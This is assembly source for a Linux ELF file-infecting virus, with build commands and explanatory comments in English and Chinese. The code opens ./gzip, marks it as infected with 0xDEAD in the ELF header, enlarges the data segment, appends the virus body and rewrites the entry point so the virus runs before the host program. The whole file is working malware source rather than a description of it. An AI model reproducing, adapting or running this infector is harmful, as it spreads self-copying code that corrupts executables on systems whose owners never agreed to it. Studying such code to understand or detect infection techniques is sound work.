;**************************************************************************** ; Linux ELF file infection ;**************************************************************************** ; Compile with: ; nasm -f elf hole.asm -o hole.o ; gcc hole.o -o hole ;该病毒改程序入口地址,把病毒体放在文件的最后,病毒体之所以能够被装载进内存, ;是因为扩展了数据段的p_filez,p_memez;这里有个要求,就是要确保病毒体能够全 ;部被装载进内存,如果要感染全部的文件,0x2000不知道够不够用。 section .text global main hoste: ret main: pusha ; Beginning of the virus ; Push all the parameters call getdelta getdelta: pop ebp sub ebp,getdelta mov eax,125 ; I modify the attributes with lea ebx,[ebp+main] ; mprotect for write in protec- ; ted pages and ebx,0xFFFFF000 ; Round up to pages mov ecx,03000h ; r|w|x attributes mov edx,07h ; We will only need this in int 80h ; the 1st gen, because we'll ; copy us in the data section mov ebx,01h lea ecx,[ebp+texto] mov edx,0Ch ; Show a Hello World with a call sys_write ; write to stdout mov eax,05 lea ebx,[ebp+archivo] ; open file to infect (./gzip) mov ecx,02 ; read/write int 80h mov ebx,eax ; Handle in EBX xor ecx,ecx xor edx,edx ; Go to beginning of file call sys_lseek lea ecx,[ebp+Elf_header] ; Read the ELF header to our mov edx,24h ; variable call sys_read ;把ELF头读入Elf_header中 cmp word [ebp+Elf_header+8],0xDEAD ; Check for previous infection jne infectar ;在文件ELF头中第9,10字节做标记 jmp salir infectar: mov word [ebp+Elf_header+8],0xDEAD ; The mark is on the 2 first ; fill bytes in the ident struc mov ecx,[ebp+e_phoff] ; e_phoff is a ptr to the PH add ecx,8*4*3 ; Obtain 3rd entry of data seg push ecx ;把第三个数据段的入口压入堆栈 xor edx,edx call sys_lseek ; Go to that position lea ecx,[ebp+Program_header] ; Read the entry mov edx,8*4 call sys_read ;把数据段的描述读到Program_header add dword [ebp+p_filez],0x2000 ; increase segment size in add dword [ebp+p_memez],0x2000 ; memory and in the file ;增加的是数据段 ; The size to add must be superior to the size of the virus, because besides ; copy the virus, we have also to copy the section table, located before ; and it is not mapped into mem by default. It could be shifted (for avoid ; copying it) but for simplycity reasons i don't do that. pop ecx ;ecx point to 3rd entry of ; data seg xor edx,edx call sys_lseek ; back to entry position lea ecx,[ebp+Program_header] mov edx,8*4 call sys_write ; Write entry to the file xor ecx,ecx mov edx,02h call sys_lseek ; Go to file end ; EAX = File Size, that will be phisical offset of the virus mov ecx,dword [ebp+oldentry] mov dword [ebp+temp],ecx mov ecx,dword [ebp+e_entry] mov dword [ebp+oldentry],ecx sub eax,dword [ebp+p_offset] add dword [ebp+p_vaddr],eax mov eax,dword [ebp+p_vaddr] ; EAX = New entrypoint mov dword [ebp+e_entry],eax ; These are the calculations of the new entry address, that will point to the ; code of the virus. For calculate the virtual address of the virus in memory ; i move the pointer to the end of the file with lseek, so the EAX register ; will have the phisical size of the file (i.e. the physical position of the ; virus in the file). ; If to that position i substract the physical position of the beginning of ; the data segment, i will have the virus position relative to the beginning ; of the data segment, and if i add to it the virtual address of the segment ; i will obtain the virtual address of the virus in memory. lea ecx,[ebp+main] mov edx,virend-main call sys_write ; Write the virus to the end xor ecx,ecx xor edx,edx call sys_lseek ; Set pointer to beginning of ; the file lea ecx,[ebp+Elf_header] mov edx,24h call sys_write ; Modify header with new EIP mov ecx,dword [ebp+temp] mov dword [ebp+oldentry],ecx salir: mov eax,06 ; Close the file int 80h popa db 068h ; Opcode of a PUSH oldentry: dd hoste ; back to infected program ret ;这里db 068 dd hoste相当于push oldentry ;指令,太经典了 sys_read: ; EBX = Must be File Handle mov eax,3 int 80h ret sys_write: ; EBX = Must be File Handle mov eax,4 int 80h ret sys_lseek: ; EBX = Must be File Handle mov eax,19 int 80h ret dir dd main dw 010h archivo db "./gzip",0 ; File to infect datos db 00h temp dd 00h ; Save oldentry temporally ;**************** Data Zone ************************************************* newentry dd 00h ; New virii EIP newfentry dd 00h myvaddr dd 00h texto db 'HELLO WORLD',0h Elf_header: e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h e_type: db 00h,00h e_machine: db 00h,00h e_version: db 00h,00h,00h,00h e_entry: db 00h,00h,00h,00h e_phoff: db 00h,00h,00h,00h e_shoff: db 00h,00h,00h,00h e_flags: db 00h,00h,00h,00h e_ehsize: db 00h,00h e_phentsize: db 00h,00h e_phnum: db 00h,00h e_shentsize: db 00h,00h e_shnum: db 00h,00h e_shstrndx: db 00h,00h jur: db 00h,00h,00h,00h Program_header: p_type db 00h,00h,00h,00h p_offset db 00h,00h,00h,00h p_vaddr db 00h,00h,00h,00h p_paddr db 00h,00h,00h,00h p_filez db 00h,00h,00h,00h p_memez db 00h,00h,00h,00h p_flags db 00h,00h,00h,00h p_align db 00h,00h,00h,00h Section_entry: sh_name db 00h,00h,00h,00h sh_type db 01h,00h,00h,00h sh_flags db 03h,00h,00h,00h ;alloc sh_addr db 00h,00h,00h,00h sh_offset db 00h,00h,00h,00h sh_size dd (virend-main)*2 sh_link db 00h,00h,00h,00h sh_info db 00h,00h,00h,00h sh_addralign db 01h,00h,00h,00h sh_entsize db 00h,00h,00h,00h virend: ;****************************************************************************